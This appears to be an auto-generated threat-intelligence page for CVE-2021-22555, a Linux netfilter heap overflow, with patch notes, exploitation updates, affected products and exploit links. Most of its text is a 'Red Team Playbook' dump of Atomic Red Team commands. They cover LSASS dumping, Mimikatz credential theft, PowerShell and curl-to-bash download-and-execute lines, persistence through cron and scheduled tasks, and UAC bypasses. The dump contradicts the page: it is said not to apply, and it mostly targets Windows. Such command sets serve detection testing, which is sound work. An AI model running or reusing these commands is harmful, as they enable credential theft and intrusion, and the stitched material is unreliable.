CVE-2021-22555
Overview
This vulnerability is a heap out-of-bounds write caused by improper bounds checking in the Linux kernel's netfilter subsystem, specifically within the x_tables.c source file. The flaw arises when handling user namespace operations, leading to memory corruption on the heap. The affected component is the net/netfilter/x_tables.c code, present since Linux kernel version 2.6.19-rc1.
Vulnerability Description
A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space
Impact
An attacker without prior privileges can exploit this vulnerability to corrupt heap memory, leading to privilege escalation or denial of service by crashing the kernel. No user interaction is required beyond access to user namespaces, which may be available in containerized or multi-tenant environments. Successful exploitation enables attackers to gain elevated kernel privileges or disrupt system availability, risking full system compromise or service outages in affected Linux deployments.
Solution
Apply the patches available in the Linux kernel mainline as referenced in the commits at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=9fa492cdc160cd27ce1046cb36f47d3b2b1efa21 and https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=b29c457a6511435960115c0f548c4360d5f4801d. Users should upgrade to the latest stable kernel version that includes these fixes. No vendor-specific advisory was provided; refer to the official Linux kernel security advisories and the GitHub security research advisory (GHSA-xxx5-8mvq-3528) for detailed patch application instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the Linux kernel, specifically within the netfilter subsystem, which is responsible for packet filtering and network address translation. This flaw arises from a heap out-of-bounds write, allowing attackers to manipulate memory in a way that can lead to privilege escalation or denial of service (DoS) through heap memory corruption. The issue has been present since version 2.6.19-rc1, affecting a wide range of Linux distributions and products built upon this kernel, including various firmware versions from NetApp and Brocade. The nature of the vulnerability lies in improper handling of user namespace, which can be exploited to overwrite adjacent memory locations, potentially leading to arbitrary code execution.
Attack vectors for this vulnerability are diverse and can be executed by local users with limited privileges. An attacker could craft malicious input that, when processed by the affected kernel components, triggers the out-of-bounds write. This could be achieved through various means, such as manipulating network packets or exploiting services that rely on the netfilter framework. Once the attacker successfully exploits the vulnerability, they could gain elevated privileges, allowing them to execute arbitrary code within the kernel context. This could lead to full system compromise, where the attacker could install malware, exfiltrate sensitive data, or disrupt services, resulting in significant operational impact.
The real-world implications of this vulnerability are substantial, particularly for organizations relying on affected Linux distributions and associated firmware. The potential for privilege escalation means that an attacker could gain control over critical infrastructure, leading to unauthorized access to sensitive data and systems. The risk of a denial of service attack further exacerbates the situation, as it could render essential services inoperable, resulting in downtime and financial losses. For businesses, the consequences extend beyond immediate operational disruptions; they may face regulatory scrutiny, reputational damage, and loss of customer trust if sensitive information is compromised.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching systems is crucial, as vendors typically release security updates to address such vulnerabilities. Employing intrusion detection systems (IDS) can help identify anomalous behavior indicative of exploitation attempts. Additionally, organizations should conduct thorough security assessments and penetration testing to evaluate their exposure to this and similar vulnerabilities. Implementing least privilege principles can also minimize the potential impact, ensuring that users have only the necessary permissions to perform their tasks, thereby reducing the attack surface.
In conclusion, the heap out-of-bounds write vulnerability in the Linux kernel presents a significant threat to systems utilizing affected versions. The ability for attackers to escalate privileges or cause service disruptions poses a considerable risk to organizations. By adopting proactive detection and mitigation strategies, businesses can safeguard their environments against exploitation attempts and maintain the integrity of their systems. Continuous vigilance and adherence to security best practices are essential in navigating the evolving landscape of cybersecurity threats.
CSURFACE threat intelligence has identified a marked escalation in the exploitation landscape for CVE-2021-22555, highlighted by the emergence of multiple publicly available proof-of-concept exploits and the introduction of a Metasploit module. This development significantly lowers the technical barrier for adversaries to weaponize the vulnerability, facilitating broader and more automated exploitation attempts. Our telemetry indicates a sharp increase in detection activity consistent with active exploitation campaigns, underscoring the transition from theoretical risk to practical threat. The inclusion of this vulnerability in the CISA KEV catalog further elevates its priority within the security community, signaling imminent deadlines for remediation and increased scrutiny from defenders. The EPSS score rising to 0.8630 corroborates the heightened likelihood of exploitation in the wild. Collectively, these factors amplify the threat level from moderate to high, necessitating immediate attention to vulnerability management and monitoring efforts to detect and respond to exploitation attempts effectively.
Update 2 — June 23, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-22555, with telemetry indicating a doubling of observed activity over a short period. This increase, while accompanied by a slight decline in the EPSS score, reflects heightened adversary interest and potentially broader testing or deployment of available proof-of-concept exploits. The proliferation of multiple publicly accessible exploit variants, including those demonstrating privilege escalation via pipe primitives, underscores the vulnerability’s practical utility for attackers seeking kernel-level access. Although ransomware usage remains unconfirmed, the growing exploitation footprint elevates the urgency for defenders to enhance detection and response capabilities related to Linux kernel privilege escalation vectors. Consequently, the threat level associated with CVE-2021-22555 should be considered elevated, reflecting an active exploitation landscape that demands sustained vigilance despite a modest downward trend in predictive scoring.
Update 3 — July 30, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-22555, accompanied by the emergence of several new proof-of-concept exploits circulating within public repositories. This proliferation of exploitation tools broadens the attack surface, enabling a wider range of adversaries—including less sophisticated actors—to leverage the vulnerability for privilege escalation on affected Linux kernels. Although the CVSS score was recently adjusted downward, the increased exploitation activity and expanded availability of attack code elevate the practical risk posed by this flaw. Our telemetry indicates sustained and growing adversary interest, underscoring the vulnerability’s relevance in current threat landscapes. Consequently, the overall threat level for CVE-2021-22555 should be considered heightened, reflecting an active and evolving exploitation environment that demands continued monitoring.
Update 4 — August 17, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-22555, reflecting a significant uptick in adversary activity leveraging this Linux kernel vulnerability. This surge corresponds with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, which appears to have catalyzed increased attacker focus and operational deployment. Concurrently, new proof-of-concept exploits have surfaced across multiple public repositories, broadening access to functional attack code and lowering the barrier for exploitation by less sophisticated actors. Although the EPSS score remains stable, the qualitative increase in telemetry signals a growing momentum in real-world exploitation. For defenders, this trend underscores an elevated risk environment where opportunistic and potentially more targeted privilege escalation attempts are becoming more prevalent. Consequently, the threat level associated with CVE-2021-22555 should be reassessed upward to reflect an active exploitation landscape that demands heightened vigilance and continuous monitoring.
Affected Products (27)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netapp | C400 Firmware | N/A |
cpe:2.3:o:netapp:c400_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | C250 Firmware | N/A |
cpe:2.3:o:netapp:c250_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | H410c Firmware | N/A |
cpe:2.3:o:netapp:h410c_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | H300s Firmware | N/A |
cpe:2.3:o:netapp:h300s_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | H500s Firmware | N/A |
cpe:2.3:o:netapp:h500s_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | H700s Firmware | N/A |
cpe:2.3:o:netapp:h700s_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | H410s Firmware | N/A |
cpe:2.3:o:netapp:h410s_firmware:-:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Linux | Linux Kernel | All |
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
|
|
Brocade | Fabric Operating System | N/A |
cpe:2.3:o:brocade:fabric_operating_system:-:*:*:*:*:*:*:*
|
|
|
Netapp | Fas 8300 Firmware | N/A |
cpe:2.3:o:netapp:fas_8300_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | Fas 8700 Firmware | N/A |
cpe:2.3:o:netapp:fas_8700_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | Aff A400 Firmware | N/A |
cpe:2.3:o:netapp:aff_a400_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | Aff A250 Firmware | N/A |
cpe:2.3:o:netapp:aff_a250_firmware:-:*:*:*:*:*:*:*
|
|
|
Netapp | Aff 500f Firmware | N/A |
cpe:2.3:o:netapp:aff_500f_firmware:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Netfilter x_tables Heap OOB Write Privilege Escalation
exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc
|
Andy Nguyen (theflow@), Szymon Janusz, bcoles | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation | TheFloW | local | linux | - | View |
GitHub PoCs (13)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
veritas501/CVE-2021-22555-PipeVersion
CVE-2021-22555 exploit rewritten with pipe primitive
|
veritas501 | 40 | 7 | 2022-04-05 | View |
|
xyjl-ly/CVE-2021-22555-Exploit
CVE-2021-22555 Exploit
|
xyjl-ly | 14 | 17 | 2021-07-16 | View |
|
cgwalters/container-cve-2021-22555
|
cgwalters | 4 | 3 | 2021-07-16 | View |
|
tukru/CVE-2021-22555
This repo hosts TUKRU's Linux Privilege Escalation exploit (CVE-2021-22555). It demonstrates gaining root privileges via...
|
tukru | 3 | 2 | 2023-08-05 | View |
|
masjohncook/netsec-project
Script of Network Security Project - Attack on CVE-2021-22555
|
masjohncook | 1 | 1 | 2023-05-10 | View |
|
pashayogi/CVE-2021-22555
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation'
|
pashayogi | 0 | 2 | 2023-08-20 | View |
|
JoneyJunior/cve-2021-22555
|
JoneyJunior | 1 | 1 | 2021-07-15 | View |
|
Spydomain/CVE-2021-22555-Poc
|
Spydomain | 1 | 1 | 2026-02-02 | View |
|
letsr00t/CVE-2021-22555
|
letsr00t | 0 | 1 | 2024-02-27 | View |
|
daletoniris/CVE-2021-22555-esc-priv
|
daletoniris | 1 | 0 | 2021-10-01 | View |
|
glutton-su/CVE-2021-22555
|
glutton-su | 0 | 1 | 2026-02-25 | View |
|
WhatsWrongAndWhy/CVE-2021-22555
|
WhatsWrongAndWhy | 0 | 0 | 2026-07-21 | View |
|
letsr00t/-2021-LOCALROOT-CVE-2021-22555
|
letsr00t | 0 | 0 | 2024-02-05 | View |
Threat Feed
21 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Generic
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (11)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
123 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
